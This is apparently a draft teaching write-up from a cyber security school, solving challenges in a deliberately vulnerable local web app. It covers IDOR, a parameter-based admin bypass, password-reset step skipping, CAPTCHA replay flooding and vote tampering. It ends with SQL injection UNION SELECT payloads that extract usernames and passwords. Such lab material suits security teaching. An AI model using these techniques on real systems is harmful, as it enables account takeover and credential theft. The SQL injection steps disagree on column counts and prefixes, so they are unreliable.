BOBBY SCHOOL OF CYBER SECURITY

DRAFT REPORT

Insecure Direct Object Reference (IDOR)

Insecure Direct Object Reference (IDOR) occurs when an application exposes internal objects such as database records to users without proper access control. This often happens when object identifiers are used in the session or URL and the application assumes that the user is only accessing their own data. This vulnerability lets an authenticated user access or manipulate resources that belong to another user by changing those identifiers.

Challenge

Access another student's marks without knowing their password.

Challenge Hints

- You're logged in as a student.
- The application uses a session value to fetch marks.
- It doesn’t cross-check whether that session belongs to you.
- What if you manipulate that session key to another student's username?

Solution

1. Log in as a valid student and browse to your marks page.
2. Right click anywhere on the page and click on inspect to open DevTools.
3. Go to Application Tab.
4. Inspect SessionStorage and look for anything like student_username.
5. Try changing it from your own username to another valid student.
6. Refresh the marks page, now you can see another students’ marks.

Sensitive Data Exposure

This is a classic example of a poorly enforced role-based access control system. The application intends to restrict a "log viewing" page to Admin users, but instead of verifying session or user roles securely, it uses a GET parameter (like ?admin=1) to determine access.

This opens the door to anyone who simply adds that parameter in the browser.

Challenge

Access admin-only logs without logging in as an Admin.

Challenge Hint

- Try accessing: http://127.0.0.1:8000/login/view-logs
- Got denied! the view log functionality uses flag of admin as true to access the page.

Solution

1. Check out the code to find out the view log uses admin=1 as the flag for login.

2. When access is denied on the usual URL, try appending ?admin=1 to the URL. http://127.0.0.1:8000/login/view-logs?admin=1

Security Misconfiguration

Security misconfiguration happens when systems, frameworks or servers are deployed with insecure default configurations, unnecessary services, outdated software, or improper permissions

Challenge

Reset the password of another user without answering their security question.

Challenge Hint

- Steps for resetting the password in forgot password functionality.
    - Enter the username.
    - Answer the security question.
    - Reset password.
- What happens if the security question is missing?
- How will you manage to reset the password?

Solution

1. Go to the Forgot Password page and enter the specified username.
2. If the user has a question, you're prompted to answer it.
3. As we are using the user without any security question, you're redirected to login page.
4. Then manually navigate to /forgot-password/step3 without answering the question.
5. Then you can reset the password.

Broken Anti-Automation

Broken anti-automation occurs when an application fails to implement proper mechanisms to detect and block automated scripts. This includes missing or weak CAPTCHAs, no rate-limiting, or endpoints that allow unlimited requests. Attackers exploit this to brute-force credentials, scrape data, or abuse business logic.

Challenge

Reuse a CAPTCHA response to flood the system

Challenge Hint

- The student or teacher registration form on this site uses a CAPTCHA to prevent automated abuse but does it really?

- CAPTCHAs are meant to separate humans from bots by requiring a challenge (like identifying distorted text) that's trivial for a person, but hard for a machine. These tests are only effective if:
    - They cannot be reused
    - They expire quickly
    - They cannot be predicted or brute-forced
- Figure out how the CAPTCHA is validated, and then submit 10 valid student registrations or teacher registration in under 20 seconds without solving 10 separate CAPTCHAs.
- This specific challenge is to bypass the CAPTCHA on the student registration form or teacher registration form and use it to flood the server with valid submissions, potentially crashing the database.

Solution

1. Register Once Normally
    - Go to the student / teacher registration form.
    - Fill in all details and solve the CAPTCHA.
    - Submit the form.
2. Open Developer Tools → Network Tab
    - Look at the POST request that was sent.
    - Note the captcha_0 (hash key) and captcha_1 (response).
3. Replay the Request
    - Repeat the exact same POST request with the same CAPTCHA key and response multiple times.
    - Tools like Burp Suite, Postman, or browser's "Repeat request" can help.
    - Or write a Python/JavaScript script to automate repeated requests with the same CAPTCHA.
4. Observe Behaviour
    - The server accepts the reused CAPTCHA.
    - You can flood the registration endpoint, triggering the database to store multiple fake entries.
    - This confirms that CAPTCHA reuse is possible, making the system vulnerable to automated attacks.

Challenge

Announcement Vote Tampering by bypass single vote restriction

Challenge Hint

- The "View Announcements" page allows students to upvote or downvote announcements made by teachers. The interface visually enforces a one-vote-per-announcement rule — you either upvote or downvote once per announcement.
- But is this restriction really enforced server-side?
- Frontend restrictions like disabling buttons are not security. They can be bypassed with custom JavaScript or external tools like Postman or Burp Suite.
- Your mission is to submit 10 upvotes or 10 downvotes on the same announcement using the same student account. Observe how the vote count increases abnormally, revealing the vulnerability.

Solution

1. Vote Once Normally
    - Log in as a student.
    - Navigate to View Announcements.
    - Click Upvote or Downvote for any announcement.
2. Step 2: Open Developer Tools → Network Tab
    - Capture the POST request sent to /vote_announcement.
    - Note the payload:

    {"announcement_id": "1",
    "vote_type": "upvote"}
3. Run the Exploit
    - Use Postman, cURL, or custom JavaScript in the browser console.

      For example:

```
for (let i = 0; i < 10; i++) {
   bypassVote(1, 'upvote');
}
```

    - This sends 10 separate POST requests to the backend using the bypassVote() function even though the frontend only allows 1
4. Observe the Impact
    - Go to the announcement list or refresh the page. You'll see:
    - The upvote count has increased by 10
    - Other students are misled about the announcement's popularity

SQL Injection

Challenge

Craft a SQL Injection payload to extract user details.

Challenge Hint

- The vulnerable field is a search box.
- The database engine is likely MySQL, so you can use information_schema.
- Your goal is to enumerate tables, columns, and finally extract.
- A UNION SELECT attack merges your injected data into the expected result set.

Solution

- In Student or Teacher dashboard there is search bar which is having SQL injection vulnerability, The pay load need to be delivered to the search bar.
- The attack payload you need to craft is a UNION SELECT merging the data from the information_schema.tables into the search data returned in the result.

  1. ')) UNION SELECT '1' FROM information_schema.tables -- fails with number of result columns error
  2. ')) UNION SELECT '1', '2' FROM information_schema.tables -- fails with number of result columns error
  3. ')) UNION SELECT '1', '2', '3' FROM information_schema.tables -- fails with number of result columns error
  4. (...)
  5. ')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM information_schema.tables -- finally gives you a response back with an extra element.

  Final payload:

```
a' UNION SELECT table_name ,'x', 'x', 'x', 'x', 'x', 'x', 'x' FROM information_schema.tables; --
```

- The attack payload you need to craft is a UNION SELECT merging the data from theinformation_schema.columns for the needed table into the search data returned in the result.

```
a' UNION SELECT column_name, 'x', 'x', 'x', 'x', 'x', 'x', 'x' FROM information_schema.columns WHERE table_name = 'login_login'; --
```

- The next step in a UNION SELECT-attack is typically to find the right number of returned columns. As the Search Results table in the UI has 3 columns displaying data, it will probably at least be three. You keep adding columns until no more errors occurs.

```
a' UNION SELECT  username, password, 'x', 'x', 'x', 'x', 'x', 'x' FROM login_login; --
```